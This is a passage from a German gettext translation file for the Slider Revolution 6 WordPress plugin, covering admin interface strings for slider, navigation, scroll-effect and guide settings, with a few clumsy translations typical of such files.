            " "Wenn Sie ein einzelnes YouTube-Video anzeigen möchten, wählen Sie die " "Inhaltsquelle \"Standard Silber” aus und fügen Sie einen Videolayer hinzu im " " Slide-Editor." #: admin/views/builder-slider-forms.php:835 msgid "Vimeo Settings" msgstr "Vimeo-Einstellungen" #: admin/views/builder-slider-forms.php:838 msgid "Slides (<60)" msgstr "Slides (<60)" #: admin/views/builder-slider-forms.php:841 #: admin/views/builder-slider-forms.php:847 msgid "User" msgstr "Nutzer" #: admin/views/builder-slider-forms.php:850 msgid "Enter Album Id" msgstr "Album-ID eingeben" #: admin/views/builder-slider-forms.php:853 msgid "Enter Group Name" msgstr "Gruppenname eingeben" #: admin/views/builder-slider-forms.php:856 msgid "Enter Channel Name" msgstr "Kanal Namen eingeben" #: admin/views/builder-slider-forms.php:860 msgid "" "The “Vimeo Stream” content source is used to display a full stream of videos " "from a user/album/group/channel.
            If you want to display a single vimeo " "video, please select the content source “Default Slider” and add a video " "layer in the slide editor." msgstr "" "Die Inhaltsquelle \"Vimeo-Stream\" wird verwendet, um einen vollständigen " "Stream von Videos von einem Benutzer / Album / einer Gruppe / einem Kanal " "anzuzeigen.
            Wenn Sie ein einzelnes Vimeo-Video anzeigen möchten, wählen " "Sie die Inhaltsquelle \"Standard-Slider” aus und fügen Sie sie hinzu einen " "Videolayer im Slide-Editor." #: admin/views/builder-slider-forms.php:871 msgid "General Settings" msgstr "Allgemeine Einstellungen" #: admin/views/builder-slider-forms.php:875 msgid "Dynamic Viewport Loading" msgstr "Dynamisches Laden des Viewport" #: admin/views/builder-slider-forms.php:878 msgid "ViewPort Stop" msgstr "ViewPort Stop" #: admin/views/builder-slider-forms.php:881 msgid "Wait" msgstr "Warten" #: admin/views/builder-slider-forms.php:881 msgid "Pause" msgstr "Pause" #: admin/views/builder-slider-forms.php:893 msgid "Slideshow" msgstr "Slideshow" #: admin/views/builder-slider-forms.php:897 msgid "Auto Rotate Slideshow" msgstr "Auto Rotate Slideshow" #: admin/views/builder-slider-forms.php:899 msgid "Stop on Hover" msgstr "Stop bei Hover" #: admin/views/builder-slider-forms.php:900 msgid "Loop One Slide" msgstr "Loop eines Slides" #: admin/views/builder-slider-forms.php:901 msgid "Stop after N Loops" msgstr "Stop nach N Loops" #: admin/views/builder-slider-forms.php:908 msgid "Random Order" msgstr "Zufällige Reihenfolge" #: admin/views/builder-slider-forms.php:911 msgid "Wait for API" msgstr "Warten auf API" #: admin/views/builder-slider-forms.php:922 msgid "Other 1. Slide" msgstr "Anderer 1. Slide" #: admin/views/builder-slider-forms.php:923 msgid "#" msgstr "#" #: admin/views/builder-slider-forms.php:925 msgid "Diff. Anim" msgstr "Diff. Anim" #: admin/views/builder-slider-forms.php:927 msgid "Transitions" msgstr "Übergänge" #: admin/views/builder-slider-forms.php:929 #: admin/views/builder-slide-forms.php:462 #: admin/views/builder-layer-forms.php:1134 msgid "Duration" msgstr "Dauer" #: admin/views/builder-slider-forms.php:930 msgid "Slot Amount" msgstr "Slot Anzahl" #: admin/views/builder-slider-forms.php:937 #: admin/views/builder-slider-forms.php:1049 msgid "Disable on Mobile" msgstr "Deaktivieren auf Mobil" #: admin/views/builder-slider-forms.php:939 msgid "Disable Slider" msgstr "Slider deaktivieren" #: admin/views/builder-slider-forms.php:940 msgid "Disable Ken B." msgstr "Deaktiviere Ken B." #: admin/views/builder-slider-forms.php:946 msgid "Hide Under Browser width..." msgstr "Unter folgender Browserbreite verstecken ..." #: admin/views/builder-slider-forms.php:949 msgid "Marked Layers" msgstr "Markierte Layer" #: admin/views/builder-slider-forms.php:950 msgid "All Layers" msgstr "Alle Layer" #: admin/views/builder-slider-forms.php:955 msgid "Mobile Settings" msgstr "Mobile Einstellungen" #: admin/views/builder-slider-forms.php:957 msgid "HTML5 Autoplay" msgstr "HTML5 Autoplay" #: admin/views/builder-slider-forms.php:961 msgid "Option is depricated and will be removed in upcoming updates !" msgstr "Die Option ist aufgekündigt und wird in zukünftigen Updates entfernt!" #: admin/views/builder-slider-forms.php:970 msgid "Browser behavior" msgstr "Browserverhalten" #: admin/views/builder-slider-forms.php:973 msgid "Next on Browser Focus" msgstr "Nächste bei Browser Fokus" #: admin/views/builder-slider-forms.php:974 msgid "Disable Blur/Focus behav." msgstr "Unschärfe/Fokus deakt." #: admin/views/builder-slider-forms.php:984 #: admin/views/builder-slide-forms.php:31 msgid "WPML" msgstr "WPML" #: admin/views/builder-slider-forms.php:986 msgid "Use WPML Settings" msgstr "WPML Einstellungen verwenden" #: admin/views/builder-slider-forms.php:1000 msgid "Module Defaults" msgstr "Modul-Standardeinstellungen" #: admin/views/builder-slider-forms.php:1004 msgid "Default Basics" msgstr "Standard-Grundlagen" #: admin/views/builder-slider-forms.php:1006 msgid "Module ID" msgstr "Modul ID" #: admin/views/builder-slider-forms.php:1007 msgid "Module Classes" msgstr "Modul Klassen" #: admin/views/builder-slider-forms.php:1008 msgid "Wrapper Classes" msgstr "Wrapper Klassen" #: admin/views/builder-slider-forms.php:1009 msgid "Slide Duration" msgstr "Slide Dauer" #: admin/views/builder-slider-forms.php:1010 msgid "Initialization Delay" msgstr "Initialisierungsverzögerung" #: admin/views/builder-slider-forms.php:1011 msgid "Layers are Selectable" msgstr "Layer sind wählbar" #: admin/views/builder-slider-forms.php:1017 msgid "Default New Layer Settings" msgstr "Standardeinstellungen Neue Layer" #: admin/views/builder-slider-forms.php:1019 #: admin/views/builder-layer-forms.php:378 msgid "Intelligent Inheriting" msgstr "Intelligente Vererbung" #: admin/views/builder-slider-forms.php:1020 msgid "Responsive Between Devices" msgstr "Responsive zwischen Geräten" #: admin/views/builder-slider-forms.php:1021 #: admin/views/builder-layer-forms.php:385 msgid "Responsive Offsets" msgstr "Responsive Offsets" #: admin/views/builder-slider-forms.php:1022 #: admin/views/builder-layer-forms.php:386 msgid "Responsive Children" msgstr "Responsive Kinder" #: admin/views/builder-slider-forms.php:1037 msgid "Scroll Based Features" msgstr "Scroll basierte Funktionen" #: admin/views/builder-slider-forms.php:1040 msgid "Parallax" msgstr "Parallax" #: admin/views/builder-slider-forms.php:1041 #: admin/views/builder-layer-forms.php:1595 msgid "Timeline" msgstr "Zeitleiste" #: admin/views/builder-slider-forms.php:1046 msgid "Parallax Enabled" msgstr "Parallax aktiviert" #: admin/views/builder-slider-forms.php:1048 msgid "3D Effects Enabled" msgstr "3D Effekte aktiviert" #: admin/views/builder-slider-forms.php:1054 msgid "Timelines Scroll based" msgstr "Zeitleiste Scroll-basiert" #: admin/views/builder-slider-forms.php:1058 msgid "Speed" msgstr "Geschwindigkeit" #: admin/views/builder-slider-forms.php:1061 msgid "Fix during Scroll" msgstr "Fix während des Scrollens" #: admin/views/builder-slider-forms.php:1066 msgid "Module Fixed From" msgstr "Modul fixiert von" #: admin/views/builder-slider-forms.php:1067 msgid "Module Fixed Until" msgstr "Modul fixiert bis" #: admin/views/builder-slider-forms.php:1073 msgid "Use Full Screen or Full Width Layout to Use Fixed Scroll." msgstr "" "Verwenden Sie Vollbild oder Vollbreitenlayout, um den festen Bildlauf zu " "verwenden." #: admin/views/builder-slider-forms.php:1080 msgid "Scroll based Effects" msgstr "Scrollbasierte Effekte" #: admin/views/builder-slider-forms.php:1089 msgid "Mouse Interaction" msgstr "Mausinteraktion" #: admin/views/builder-slider-forms.php:1091 msgid "Triggered by" msgstr "Ausgelöst durch" #: admin/views/builder-slider-forms.php:1092 msgid "Mouse Move" msgstr "Maus Bewegung" #: admin/views/builder-slider-forms.php:1093 msgid "Scroll Position" msgstr "Scroll Position" #: admin/views/builder-slider-forms.php:1094 msgid "Mouse Move & Scroll" msgstr "Maus Bewegung & Scroll" #: admin/views/builder-slider-forms.php:1096 msgid "Parallax Orig." msgstr "Parallax Orig." #: admin/views/builder-slider-forms.php:1097 msgid "Mouse Enter Point" msgstr "Maus Eingabepunkt" #: admin/views/builder-slider-forms.php:1098 msgid "Slider Center" msgstr "Slider Mittelpunkt" #: admin/views/builder-slider-forms.php:1100 msgid "Mouse Speed" msgstr "Mausgeschwindigkeit" #: admin/views/builder-slider-forms.php:1101 msgid "BG Speed" msgstr "HG Geschwindigkeit" #: admin/views/builder-slider-forms.php:1102 msgid "Layers Speed" msgstr "Layer Geschwindigkeit" #: admin/views/builder-slider-forms.php:1108 msgid "3D Settings" msgstr "3D Einstellungen" #: admin/views/builder-slider-forms.php:1111 msgid "On Background Enabled" msgstr "Auf Hintergrund aktiviert" #: admin/views/builder-slider-forms.php:1112 msgid "Slider Overflow Hidden" msgstr "Slider Überlauf ausgeblendet" #: admin/views/builder-slider-forms.php:1113 msgid "Layers Overflow Hidden" msgstr "Layer Überlauf ausgeblendet" #: admin/views/builder-slider-forms.php:1115 msgid "3D Crop Fix (z)" msgstr "3D Crop Fix (z)" #: admin/views/builder-slider-forms.php:1116 #: admin/views/builder-slide-forms.php:261 msgid "BG 3D Depth" msgstr "HG 3D Tiefe" #: admin/views/builder-slider-forms.php:1121 msgid "Depths" msgstr "Tiefe" #: admin/views/builder-slider-forms.php:1124 msgid "1." msgstr "1." #: admin/views/builder-slider-forms.php:1125 msgid "6." msgstr "6." #: admin/views/builder-slider-forms.php:1126 msgid "11." msgstr "11." #: admin/views/builder-slider-forms.php:1129 msgid "2." msgstr "2." #: admin/views/builder-slider-forms.php:1130 msgid "7." msgstr "7." #: admin/views/builder-slider-forms.php:1131 msgid "12." msgstr "12." #: admin/views/builder-slider-forms.php:1134 msgid "3." msgstr "3." #: admin/views/builder-slider-forms.php:1135 msgid "8." msgstr "8." #: admin/views/builder-slider-forms.php:1136 msgid "13." msgstr "13." #: admin/views/builder-slider-forms.php:1139 msgid "4." msgstr "4." #: admin/views/builder-slider-forms.php:1140 msgid "9." msgstr "9." #: admin/views/builder-slider-forms.php:1141 msgid "14." msgstr "14." #: admin/views/builder-slider-forms.php:1144 msgid "5." msgstr "5." #: admin/views/builder-slider-forms.php:1145 msgid "10." msgstr "10." #: admin/views/builder-slider-forms.php:1146 msgid "15." msgstr "15." #: admin/views/builder-slider-forms.php:1156 msgid "Use Default on..." msgstr "Standard verwenden auf ..." #: admin/views/builder-slider-forms.php:1158 msgid "Layers" msgstr "Layer" #: admin/views/builder-slider-forms.php:1168 msgid "Scroll Effects Default" msgstr "Scroll Effekte Standard" #: admin/views/builder-slider-forms.php:1171 #: admin/views/builder-slide-forms.php:305 msgid "Grayscale" msgstr "Graustufen" #: admin/views/builder-slider-forms.php:1172 #: admin/views/builder-slide-forms.php:300 msgid "Blur" msgstr "Verwischen" #: admin/views/builder-slider-forms.php:1173 msgid "Max Blur Strength" msgstr "Max. Unschärfestärke" #: admin/views/builder-slider-forms.php:1174 msgid "Layers default Enabled" msgstr "Layer-Standard aktiviert" #: admin/views/builder-slider-forms.php:1175 msgid "Slides default Enabled" msgstr "Slides-Standard aktiviert" #: admin/views/builder-slider-forms.php:1179 msgid "Scroll Effects Settings" msgstr "Scroll Effekte Einstellungen" #: admin/views/builder-slider-forms.php:1182 #: admin/views/builder-nav-forms.php:811 msgid "Direction" msgstr "Richtung" #: admin/views/builder-slider-forms.php:1185 #: admin/views/builder-layer-forms.php:326 msgid "Both" msgstr "Beide" #: admin/views/builder-slider-forms.php:1188 msgid "Disable Mobile" msgstr "Mobile deaktivieren" #: admin/views/builder-slider-forms.php:1189 msgid "Offset (Tilt) Effect" msgstr "Versatz (Tilt) Effekt" #: admin/views/builder-slider-forms.php:1190 msgid "Factor on BG's" msgstr "Faktor auf HGs" #: admin/views/builder-slider-forms.php:1191 msgid "Factor on Layers" msgstr "Faktor auf Layer" #: admin/views/builder-slider-forms.php:1205 msgid "Loading Type" msgstr "Ladetyp" #: admin/views/builder-slider-forms.php:1208 #: admin/views/builder-layer-forms.php:179 msgid "Lazy Loading" msgstr "Lazy Loading" #: admin/views/builder-slider-forms.php:1208 msgid "All" msgstr "Alles" #: admin/views/builder-slider-forms.php:1208 msgid "Smart" msgstr "Smart" #: admin/views/builder-slider-forms.php:1208 msgid "Single" msgstr "Single" #: admin/views/builder-slider-forms.php:1208 msgid "No Lazy Loading" msgstr "Kein Lazy Loading" #: admin/views/builder-slider-forms.php:1216 msgid "Fallback Settings" msgstr "Fallback Einstellungen" #: admin/views/builder-slider-forms.php:1218 msgid "Simplify on IOS4 / IE8" msgstr "Vereinfachen auf iOS4/IE8" #: admin/views/builder-slider-forms.php:1220 msgid "Alt. Image" msgstr "Alt. Bild" #: admin/views/builder-slider-forms.php:1221 #: admin/views/builder-nav-forms.php:831 #: admin/views/builder-layer-forms.php:240 msgid "Off" msgstr "Aus" #: admin/views/builder-slider-forms.php:1222 msgid "On Mobile" msgstr "Auf Mobil" #: admin/views/builder-slider-forms.php:1223 msgid "On IE8" msgstr "Auf IE8" #: admin/views/builder-slider-forms.php:1224 msgid "On Mobile and IE8" msgstr "Auf Mobile und IE8" #: admin/views/builder-slider-forms.php:1228 msgid "Image URL" msgstr "Bild URL" #: admin/views/builder-slider-forms.php:1228 #: admin/views/builder-slide-forms.php:56 msgid "Enter Image URL" msgstr "Bild-URL eingeben" #: admin/views/builder-slider-forms.php:1236 msgid "jQuery & OutPut Filters" msgstr "jQuery & OutPut-Filter" #: admin/views/builder-slider-forms.php:1238 msgid "jQuery No Conflict Mode" msgstr "jQuery No Conflict Mode" #: admin/views/builder-slider-forms.php:1239 msgid "Put JS to Body" msgstr "JS in den Body setzen" #: admin/views/builder-slider-forms.php:1243 msgid "Output Filter" msgstr "Output Filter" #: admin/views/builder-slider-forms.php:1245 msgid "By Compressing Output" msgstr "Durch Komprimieren der Ausgabe" #: admin/views/builder-slider-forms.php:1246 msgid "By Echo Output" msgstr "Durch Echo Ausgabe" #: admin/views/builder-slider-forms.php:1248 msgid "Debug Mode" msgstr "Debug Modus" #: admin/views/builder-slider-forms.php:1261 admin/views/modals-builder.php:74 #: admin/views/modals-builder.php:109 admin/views/modals-builder.php:141 msgid "Next Step" msgstr "Nächster Schritt" #: admin/views/modals-copyright.php:19 msgid "Copyright & Licensing - Slider Revolution Library" msgstr "Copyright & Lizenzierung - Slider Revolution Library" #: admin/views/builder-timeline.php:28 msgid "No Sticky Keyframes" msgstr "Keine Sticky Keyframes" #: admin/views/builder-timeline.php:29 msgid "Single Layer Sticky" msgstr "Einzelner Layer Stick" #: admin/views/builder-timeline.php:30 msgid "Hierarchy Sticky" msgstr "Hierarchie Sticky" #: admin/views/builder-timeline.php:37 msgid "Set all Timings" msgstr "Festlegen aller Timings" #: admin/views/builder-timeline.php:70 msgid "Slide BG Animation" msgstr "Silber Hintergrundanimation" #: admin/views/builder-timeline.php:81 msgid "Global Layers Timeline" msgstr "Globale Layer-Zeitleiste" #: admin/views/builder-timeline.php:89 msgid "FREE POSITIONED LAYERS" msgstr "FREI POSITIONIERTE LAYER" #: admin/views/builder-nav-forms.php:18 admin/views/builder-slide-forms.php:23 #: admin/views/builder-slide-forms.php:559 msgid "Progress" msgstr "Fortschritt" #: admin/views/builder-nav-forms.php:19 admin/views/builder-nav-forms.php:53 #: admin/views/modals-builder.php:226 msgid "Arrows" msgstr "Pfeile" #: admin/views/builder-nav-forms.php:20 admin/views/builder-nav-forms.php:246 #: admin/views/modals-builder.php:227 msgid "Bullets" msgstr "Bullets" #: admin/views/builder-nav-forms.php:21 admin/views/builder-nav-forms.php:391 #: admin/views/modals-builder.php:228 msgid "Tabs" msgstr "Tabs" #: admin/views/builder-nav-forms.php:22 admin/views/builder-nav-forms.php:575 #: admin/views/modals-builder.php:229 msgid "Thumbs" msgstr "Miniaturansichten" #: admin/views/builder-nav-forms.php:23 msgid "Prev Size" msgstr "Vorherige Größe" #: admin/views/builder-nav-forms.php:24 admin/views/builder-nav-forms.php:782 msgid "Touch" msgstr "Touch" #: admin/views/builder-nav-forms.php:25 msgid "Keyboard" msgstr "Tastatur" #: admin/views/builder-nav-forms.php:26 msgid "Mouse" msgstr "Maus" #: admin/views/builder-nav-forms.php:27 msgid "Nav Editor" msgstr "Nav Editor" #: admin/views/builder-nav-forms.php:37 admin/views/builder-nav-forms.php:40 msgid "Progress Bar" msgstr "Fortschrittsanzeige" #: admin/views/builder-nav-forms.php:43 admin/views/modals-builder.php:322 #: admin/views/builder-layer-forms.php:1170 #: admin/views/builder-layer-forms.php:1556 #: admin/views/builder-layer-forms.php:1562 msgid "Color" msgstr "Farbe" #: admin/views/builder-nav-forms.php:46 msgid "Height" msgstr "Höhe" #: admin/views/builder-nav-forms.php:56 admin/views/builder-nav-forms.php:60 #: admin/views/builder-nav-forms.php:249 admin/views/builder-nav-forms.php:252 #: admin/views/builder-nav-forms.php:253 admin/views/builder-nav-forms.php:400 #: admin/views/builder-nav-forms.php:401 admin/views/builder-nav-forms.php:583 #: admin/views/builder-nav-forms.php:584 admin/views/builder-layer-forms.php:29 #: admin/views/builder-layer-forms.php:502 msgid "Style" msgstr "Stil" #: admin/views/builder-nav-forms.php:57 admin/views/builder-nav-forms.php:189 #: admin/views/builder-nav-forms.php:250 admin/views/builder-nav-forms.php:396 #: admin/views/builder-nav-forms.php:579 #: admin/views/builder-slide-forms.php:573 #: admin/views/builder-layer-forms.php:394 msgid "Visibility" msgstr "Sichtbarkeit" #: admin/views/builder-nav-forms.php:58 admin/views/builder-nav-forms.php:76 msgid "Left Arrow" msgstr "Linker Pfeil" #: admin/views/builder-nav-forms.php:59 admin/views/builder-nav-forms.php:135 msgid "Right Arrow" msgstr "Rechter Pfeil" #: admin/views/builder-nav-forms.php:61 msgid "Style on Slide" msgstr "Stil auf Silber" #: admin/views/builder-nav-forms.php:64 msgid "Arrow Type" msgstr "Pfeilart" #: admin/views/builder-nav-forms.php:68 msgid "Arrow Style" msgstr "Pfeilstil" #: admin/views/builder-nav-forms.php:69 admin/views/builder-nav-forms.php:262 #: admin/views/builder-nav-forms.php:410 admin/views/builder-nav-forms.php:593 msgid "No Style" msgstr "Kein Stil" #: admin/views/builder-nav-forms.php:83 admin/views/builder-nav-forms.php:138 #: admin/views/builder-nav-forms.php:280 admin/views/builder-nav-forms.php:427 #: admin/views/builder-nav-forms.php:610 msgid "Aligned by" msgstr "Ausgerichtet an" #: admin/views/builder-nav-forms.php:85 admin/views/builder-nav-forms.php:140 #: admin/views/builder-nav-forms.php:282 admin/views/builder-nav-forms.php:429 msgid "Module Dimension" msgstr "Modulabmessung" #: admin/views/builder-nav-forms.php:95 admin/views/builder-nav-forms.php:149 #: admin/views/builder-nav-forms.php:291 admin/views/builder-nav-forms.php:447 #: admin/views/builder-nav-forms.php:630 #: admin/views/builder-layer-forms.php:442 msgid "Alignment" msgstr "Ausrichtung" #: admin/views/builder-nav-forms.php:124 admin/views/builder-nav-forms.php:177 #: admin/views/builder-nav-forms.php:324 admin/views/builder-nav-forms.php:513 #: admin/views/builder-nav-forms.php:695 msgid "From Left" msgstr "Von links" #: admin/views/builder-nav-forms.php:125 admin/views/builder-nav-forms.php:178 #: admin/views/builder-nav-forms.php:325 admin/views/builder-nav-forms.php:514 #: admin/views/builder-nav-forms.php:696 msgid "From Right" msgstr "Von rechts" #: admin/views/builder-nav-forms.php:126 admin/views/builder-nav-forms.php:179 #: admin/views/builder-nav-forms.php:326 admin/views/builder-nav-forms.php:515 #: admin/views/builder-nav-forms.php:697 msgid "From Top" msgstr "Von oben" #: admin/views/builder-nav-forms.php:127 admin/views/builder-nav-forms.php:180 #: admin/views/builder-nav-forms.php:327 admin/views/builder-nav-forms.php:516 #: admin/views/builder-nav-forms.php:698 msgid "From Bottom" msgstr "Von unten" #: admin/views/builder-nav-forms.php:128 admin/views/builder-nav-forms.php:181 #: admin/views/builder-nav-forms.php:328 admin/views/builder-nav-forms.php:517 #: admin/views/builder-nav-forms.php:699 msgid "Zoom In" msgstr "Hineinzoomen" #: admin/views/builder-nav-forms.php:129 admin/views/builder-nav-forms.php:182 #: admin/views/builder-nav-forms.php:329 admin/views/builder-nav-forms.php:518 #: admin/views/builder-nav-forms.php:700 msgid "Zoom Out" msgstr "Rauszoomen" #: admin/views/builder-nav-forms.php:192 admin/views/builder-nav-forms.php:334 #: admin/views/builder-nav-forms.php:522 admin/views/builder-nav-forms.php:704 msgid "RTL Direction" msgstr "RTL-Richtung" #: admin/views/builder-nav-forms.php:193 admin/views/builder-nav-forms.php:331 #: admin/views/builder-nav-forms.php:520 admin/views/builder-nav-forms.php:702 msgid "Show Speed" msgstr "Geschwindigkeit anzeigen" #: admin/views/builder-nav-forms.php:194 admin/views/builder-nav-forms.php:332 #: admin/views/builder-nav-forms.php:521 admin/views/builder-nav-forms.php:703 msgid "Show Delay" msgstr "Verzögerung anzeigen" #: admin/views/builder-nav-forms.php:196 admin/views/builder-nav-forms.php:336 #: admin/views/builder-nav-forms.php:524 admin/views/builder-nav-forms.php:706 msgid "Show Always" msgstr "Immer anzeigen" #: admin/views/builder-nav-forms.php:205 admin/views/builder-nav-forms.php:345 #: admin/views/builder-nav-forms.php:533 admin/views/builder-nav-forms.php:717 msgid "Hide Under" msgstr "Verstecken unter" #: admin/views/builder-nav-forms.php:210 admin/views/builder-nav-forms.php:350 #: admin/views/builder-nav-forms.php:538 admin/views/builder-nav-forms.php:722 msgid "Hide Over" msgstr "Verstecken über" #: admin/views/builder-nav-forms.php:217 admin/views/builder-nav-forms.php:357 msgid "Navigation Style" msgstr "Navigations Stil" #: admin/views/builder-nav-forms.php:224 admin/views/builder-nav-forms.php:364 #: admin/views/builder-nav-forms.php:552 admin/views/builder-nav-forms.php:736 msgid "Global Style Presets" msgstr "Globale Style Voreinstellungen" #: admin/views/builder-nav-forms.php:227 admin/views/builder-nav-forms.php:367 #: admin/views/builder-nav-forms.php:554 admin/views/builder-nav-forms.php:738 msgid "Preset" msgstr "Voreinstellung" #: admin/views/builder-nav-forms.php:228 admin/views/builder-nav-forms.php:368 #: admin/views/builder-nav-forms.php:555 admin/views/builder-nav-forms.php:739 msgid "Load" msgstr "Laden" #: admin/views/builder-nav-forms.php:236 admin/views/builder-nav-forms.php:377 #: admin/views/builder-nav-forms.php:563 admin/views/builder-nav-forms.php:747 msgid "Override Style on Slide" msgstr "Stil auf Slide überschreiben" #: admin/views/builder-nav-forms.php:257 msgid "Bullets Type" msgstr "Bullets Typ" #: admin/views/builder-nav-forms.php:261 msgid "Bullets Style" msgstr "Bullets Stil" #: admin/views/builder-nav-forms.php:271 msgid "Gap" msgstr "Abstand" #: admin/views/builder-nav-forms.php:272 admin/views/builder-nav-forms.php:419 #: admin/views/builder-nav-forms.php:602 msgid "Orientation" msgstr "Orientierung" #: admin/views/builder-nav-forms.php:274 admin/views/builder-nav-forms.php:421 #: admin/views/builder-nav-forms.php:604 admin/views/builder-nav-forms.php:794 #: admin/views/builder-layer-forms.php:1280 msgid "Horizontal" msgstr "Horizontal" #: admin/views/builder-nav-forms.php:275 admin/views/builder-nav-forms.php:422 #: admin/views/builder-nav-forms.php:605 admin/views/builder-nav-forms.php:795 #: admin/views/builder-layer-forms.php:1275 msgid "Vertical" msgstr "Vertikal" #: admin/views/builder-nav-forms.php:319 msgid "Bullets Visibility" msgstr "Bullets Sichtbarkeit" #: admin/views/builder-nav-forms.php:395 admin/views/builder-nav-forms.php:578 msgid "Main Style" msgstr "Basisstil" #: admin/views/builder-nav-forms.php:398 admin/views/builder-nav-forms.php:478 #: admin/views/builder-nav-forms.php:581 admin/views/builder-nav-forms.php:659 msgid "Size" msgstr "Größe" #: admin/views/builder-nav-forms.php:399 admin/views/builder-nav-forms.php:495 #: admin/views/builder-nav-forms.php:582 admin/views/builder-nav-forms.php:677 msgid "Wrapper" msgstr "Wrapper" #: admin/views/builder-nav-forms.php:405 msgid "Tabs Type" msgstr "Tab Typ" #: admin/views/builder-nav-forms.php:409 msgid "Tabs Style" msgstr "Tab Stil" #: admin/views/builder-nav-forms.php:435 admin/views/builder-nav-forms.php:618 msgid "Inner / Outer" msgstr "Innen / Außen" #: admin/views/builder-nav-forms.php:437 admin/views/builder-nav-forms.php:620 msgid "Inner" msgstr "Innen" #: admin/views/builder-nav-forms.php:438 admin/views/builder-nav-forms.php:621 msgid "Outer Vertical" msgstr "Äußere Vertikale" #: admin/views/builder-nav-forms.php:439 admin/views/builder-nav-forms.php:622 msgid "Outer Horizontal" msgstr "Äußere Horizontale" #: admin/views/builder-nav-forms.php:471 admin/views/builder-nav-forms.php:654 msgid "Visible amount" msgstr "Sichtbare Anzahl" #: admin/views/builder-nav-forms.php:503 admin/views/builder-nav-forms.php:685 msgid "Span" msgstr "Span" #: admin/views/builder-nav-forms.php:508 msgid "Tabs Visibility" msgstr "Tabs Sichtbarkeit" #: admin/views/builder-nav-forms.php:545 admin/views/builder-nav-forms.php:729 msgid "Style Global" msgstr "Stil Global" #: admin/views/builder-nav-forms.php:588 msgid "Thumb Type" msgstr "Miniaturansicht Typ" #: admin/views/builder-nav-forms.php:592 msgid "Thumbs Style" msgstr "Miniaturansicht Stil" #: admin/views/builder-nav-forms.php:690 msgid "Thumbs Visibility" msgstr "Miniaturansicht Sichtbarkeit" #: admin/views/builder-nav-forms.php:760 msgid "Nav Image Dimensions" msgstr "Nav. Bild Abmessungen" #: admin/views/builder-nav-forms.php:763 msgid "Preview Image" msgstr "Vorschaubild" #: admin/views/builder-nav-forms.php:767 admin/views/builder-slide-forms.php:88 msgid "Image from Stream if exists" msgstr "Bild vom Stream, falls vorhanden" #: admin/views/builder-nav-forms.php:779 msgid "Swipe Settings" msgstr "Swipe Einstellungen" #: admin/views/builder-nav-forms.php:785 msgid "Mobile Swipe Enabled" msgstr "Mobile Swipe aktiviert" #: admin/views/builder-nav-forms.php:786 msgid "Desktop Swipe Enabled" msgstr "Desktop Swipe aktiviert" #: admin/views/builder-nav-forms.php:787 msgid "Block Scroll" msgstr "Scroll blockieren" #: admin/views/builder-nav-forms.php:789 msgid "Velocity" msgstr "Geschwindigkeit" #: admin/views/builder-nav-forms.php:790 msgid "Min. Finger" msgstr "Min. Finger" #: admin/views/builder-nav-forms.php:792 msgid "Swipe Dir" msgstr "Swipe Dir" #: admin/views/builder-nav-forms.php:804 msgid "Keyboard Settings" msgstr "Tastatureinstellungen" #: admin/views/builder-nav-forms.php:807 msgid "Keyboard Arrow Navigation" msgstr "Tastatur-Pfeilnavigation" #: admin/views/builder-nav-forms.php:813 msgid "Left/Right Arrow Keys" msgstr "Pfeiltasten links / rechts" #: admin/views/builder-nav-forms.php:814 msgid "Up/Down Arrow Keys" msgstr "Pfeiltasten auf / ab" #: admin/views/builder-nav-forms.php:822 msgid "Mouse Scroll Settings" msgstr "Maus-Scroll-Einstellungen" #: admin/views/builder-nav-forms.php:825 msgid "Mouse Scroll Navigation" msgstr "Maus-Scroll-Navigation" #: admin/views/builder-nav-forms.php:830 #: admin/views/builder-layer-forms.php:240 msgid "On" msgstr "Ein" #: admin/views/builder-nav-forms.php:835 msgid "Reverse Scroll" msgstr "Rückwärts Scrollen" #: admin/views/builder-nav-forms.php:837 #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "Reverse" msgstr "Umgekehrt" #: admin/views/header.php:127 msgid "Please Wait..." msgstr "Bitte warten ..." #: admin/views/modals-builder.php:20 msgid "Module Creation Guide" msgstr "Handbuch zur Modulerstellung" #: admin/views/modals-builder.php:27 msgid "" "This Guide will help you with the basic configuration *
            of your Slider " "Revolution 6 Module." msgstr "" "Dieses Handbuch hilft Ihnen bei der Grundkonfiguration *
            Slider " "Revolution 6 Modul." #: admin/views/modals-builder.php:29 msgid "Start Guide" msgstr "Anleitung starten" #: admin/views/modals-builder.php:31 msgid "Quit Guide" msgstr "Anleitung beenden" #: admin/views/modals-builder.php:38 msgid "" "* All settings adjusted by the guide can be changed later.
            Click the " "Help Icon to find options & documentation" msgstr "" "* Alle im Handbuch vorgenommenen Einstellungen können später geändert werden." "
            Klicken Sie auf das Hilfesymbol , um Optionen und " "Dokumentation anzuzeigen" #: admin/views/modals-builder.php:70 admin/views/modals-builder.php:105 #: admin/views/modals-builder.php:137 admin/views/modals-builder.php:181 msgid "Previous Step" msgstr "Vorheriger Schritt" #: admin/views/modals-builder.php:72 msgid "Module Type" msgstr "Modul Typ" #: admin/views/modals-builder.php:107 msgid "Module Dimensions" msgstr "Modul Abmessungen" #: admin/views/modals-builder.php:139 msgid "Responisvity" msgstr "Responisvität" #: admin/views/modals-builder.php:142 admin/views/modals-builder.php:185 msgid "Go to Editor" msgstr "Gehe zum Editor" #: admin/views/modals-builder.php:183 msgid "Customization" msgstr "Anpassung" #: admin/views/modals-builder.php:201 msgid "Layer Import" msgstr "Layer Import" #: admin/views/modals-builder.php:208 msgid "Import Selected Layers" msgstr "Ausgewählte Layer importieren" #: admin/views/modals-builder.php:222 msgid "Navigation Editor" msgstr "Navigationseditor" #: admin/views/modals-builder.php:224 msgid "Save Navigation" msgstr "Navigation speichern" #: admin/views/modals-builder.php:232 msgid "Factory Skins" msgstr "Factory Skins" #: admin/views/modals-builder.php:237 msgid "Add New Navigation " msgstr "Neue Navigation hinzufügen " #: admin/views/modals-builder.php:269 admin/views/builder-slide-forms.php:510 msgid "Class" msgstr "Klasse" #: admin/views/modals-builder.php:294 msgid "CSS" msgstr "CSS" #: admin/views/modals-builder.php:294 msgid "Markup" msgstr "Markup" #: admin/views/modals-builder.php:300 msgid "Markup Meta" msgstr "Markup Meta" #: admin/views/modals-builder.php:301 msgid "Slide Title" msgstr "Slide Titel" #: admin/views/modals-builder.php:302 msgid "Slide Description" msgstr "Slide Beschreibung" #: admin/views/modals-builder.php:303 admin/views/builder-slide-forms.php:643 msgid "Parameter 1" msgstr "Parameter 1" #: admin/views/modals-builder.php:304 admin/views/builder-slide-forms.php:644 msgid "Parameter 2" msgstr "Parameter 2" #: admin/views/modals-builder.php:305 